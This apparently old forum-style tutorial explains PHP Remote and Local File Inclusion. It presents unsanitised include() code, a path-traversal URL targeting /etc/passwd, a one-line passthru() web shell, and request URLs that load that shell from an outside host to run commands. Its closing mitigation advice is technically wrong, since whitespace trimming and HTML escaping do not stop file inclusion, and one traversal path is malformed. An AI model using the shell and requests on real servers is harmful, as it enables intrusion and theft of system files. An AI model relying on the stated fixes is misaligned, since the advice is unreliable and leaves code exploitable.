Remote/Local File Inclusion Exploits

Remote and local file inclusions are just a problem on the coding end,
like most exploits. Of course it takes a second person to make it
happen, hehe. So this paper will hopefully give you some ideas on how
to prevenet a file inclusion exploit on your website and most importantly,
in your code. I will be providing the code examples in PHP format.
Let's take a look at some code that make the RFI/LFI exploits possible.

Code:
<a href=index.php?page=file1.php>Files</a>
<?php
$page = $_GET[page];
include($page);
?>
Now obviously this should never be used. The $page input isnt sanitized
at all. The $page input is passed directly to the damn webpage, which is
a very big no no. You should always sanitize every input passed through
the browser. When the user clicks the "Files" link on the webpage to visit
"files.php" it will look something like this.

http://localhost/index.php?page=files.php

Now, since nobody cleaned the input on the $page variable, we can
point it to anything we want. If this was hosted on a unix server we could
view the passwd, shadowed, or configuration files for the server through
that one uncleaned variable input. Viewing the filed on the server would
be a "Local File Inclusion" or LFI exploit. Which is just as if not worse
than an RFI exploit.

http://localhost/index.php?page=../..../../etc/passwd

Could possibly return the /etc/passwd. Now let's take a look at the RFI
side of this exploit. So take the same code again that we had previously.

Code:
<a href=index.php?page=file1.php>Files</a>
<?php
$page = $_GET[page];
include($page);
?>
So now let's say we typed something like...

http://localhost/index.php?page=http://google.com/

We would probably get the google.com homepage included where the
$page variable was inserted into the page originally. This is where the
coder can get ****ed, royally. We all know what the c99 shell can do,
and if coders are careful they could be included into the page, allowing
for the shell to let the user surf through sensitive files and directories at
their leisure.

Let's look at something more simple that can be included in the
webpage. A more quick and dirty way of using the RFI exploit to your
advantage. So let's make a file called "test.php" and insert the following
code into it, save it.

Code:
<?php
passthru($_GET[cmd]);
?>
Now, this file is something you can use to your advantage to include into
a page that has the RFI exploit on it. The passthru() command in PHP is
a very evil thing, and most hosts will have this "disabled for security
reasons". What it does is execute commands on the server. So with that
code in the test.php file we can send a request to the webpage
containing the file inclusion exploit like this.

http://localhost/index.php?page=http...t.com/test.php

And since the code is asking for a $_GET request, we will provide a
command which will be passed to the passthru() command. so now we
would have something like this.

http://localhost/index.php?page=http....com/test.php?cmd=cat /etc/passwd

Which, will use the cat command on a unix machine to reveal the
/etc/passwd file. Now that we know how to exploit the RFI exploit, we
need to know how to contain it and make it impossible for someone
remotely to execute command and include remote pages on your server.
First of all, we could disable the passthru() command, but then again
maybe something on your site uses it (but let's hope not).

But that is only one thing you could do. I recommend cleaning the inputs
like iv'e said earlier. Now, instaed of just passing the variable directly to
the page we could use several built in functions that PHP offers. chop()
which came originally from PERL, PHP has adopted. which removed
whitespaces from a string. We could use its like this.

Code:
<a href=index.php?page=file1.php>Files</a>
<?php
$page = chop($_GET[page]);
include($page);
?>
There are many functions that can clean the string. htmlspecialchars(),
htmlentities(), stripslashes(), and more. I prefer using my own functions
to elimite clutter. We can build a function in PHP that cleans everything
for you, here is something i built for this tutorial, quick and easy.

Code:
<?php
function cleanAll($input) {
$input = strip_tags($input);
$input = htmlspecialchars($input);
return($input);
}
?>
Now, I hope you can see what is going on in that function, so you can
add your own. I would suggest using the str_replace() function, and
there are plenty of other functions to clean them, be creative and stop
the madness of RFI & LFI exploits!